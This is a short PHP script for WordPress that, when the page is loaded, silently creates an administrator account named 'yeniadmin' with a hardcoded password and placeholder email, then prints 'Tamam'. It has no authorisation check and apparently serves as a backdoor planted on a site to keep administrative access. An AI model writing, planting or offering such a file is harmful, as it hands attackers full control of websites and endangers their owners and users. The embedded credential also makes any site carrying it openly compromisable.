<?php

require_once('wp-load.php');

$username = 'yeniadmin';
$password = 'V1FLI&5xT)2!Ysx8MP2YQ*Qm';
$email = 'mails@mails.com';

if (!username_exists($username)) {

    $user_id = wp_create_user($username, $password, $email);

    $user = new WP_User($user_id);
    $user->set_role('administrator');

    echo 'Tamam';
}